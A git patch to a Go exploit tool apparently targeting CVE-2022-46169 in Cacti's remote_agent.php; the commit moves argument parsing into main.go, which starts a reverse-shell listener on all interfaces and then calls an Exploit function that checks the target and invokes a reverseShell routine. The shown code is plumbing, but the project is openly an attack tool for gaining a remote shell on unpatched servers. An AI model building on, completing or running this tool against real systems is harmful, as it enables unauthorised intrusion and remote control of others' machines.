From 7e7b2213d890fd6ec93c2cf3734b4aa734f474b4 Mon Sep 17 00:00:00 2001 From: Vomitblood Date: Fri, 24 Jan 2025 11:10:16 +0800 Subject: [PATCH] used a global flag system --- internal/exploiter/exploiter.go | 9 +-------- internal/listener/listener.go | 6 +----- main.go | 10 ++++++++-- 3 files changed, 10 insertions(+), 15 deletions(-) diff --git a/internal/exploiter/exploiter.go b/internal/exploiter/exploiter.go index d620cdd..df50a89 100644 --- a/internal/exploiter/exploiter.go +++ b/internal/exploiter/exploiter.go @@ -7,8 +7,6 @@ import ( "net/http" "net/url" "strings" - - "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd" ) func checkVuln(vulnUrl string) bool { @@ -111,12 +109,7 @@ func reverseShell(payload string, vulnUrl string, hostID int, dataIDs int) { defer resp.Body.Close() } -func Exploit() { - urlTarget, lhost, lport := cmd.GetArguments() - if urlTarget == "" || lhost == "" || lport == "" { - return - } - +func Exploit(urlTarget string, lhost string, lport string) { vulnURL := urlTarget + "/remote_agent.php" fmt.Println("Checking...") if checkVuln(vulnURL) { diff --git a/internal/listener/listener.go b/internal/listener/listener.go index fde6964..6f7245e 100644 --- a/internal/listener/listener.go +++ b/internal/listener/listener.go @@ -5,8 +5,6 @@ import ( "io" "net" "os" - - "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd" ) func handleConnection(conn net.Conn) { @@ -63,9 +61,7 @@ func startListener(lhost, lport string) { } } -func Listen() { - _, _, lport := cmd.GetArguments() - +func Listen(lport string) { // listen on everything, lazy lhost := "0.0.0.0" diff --git a/main.go b/main.go index cb1fd84..7b93638 100644 --- a/main.go +++ b/main.go @@ -3,16 +3,22 @@ package main import ( "time" + "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd" "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/exploiter" "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/listener" ) func main() { - go listener.Listen() + urlTarget, lhost, lport := cmd.GetArguments() + if urlTarget == "" || lhost == "" || lport == "" { + return + } + + go listener.Listen(lport) time.Sleep(1 * time.Second) - exploiter.Exploit() + exploiter.Exploit(urlTarget, lhost, lport) // prevent the main goroutine from exiting immediately select {}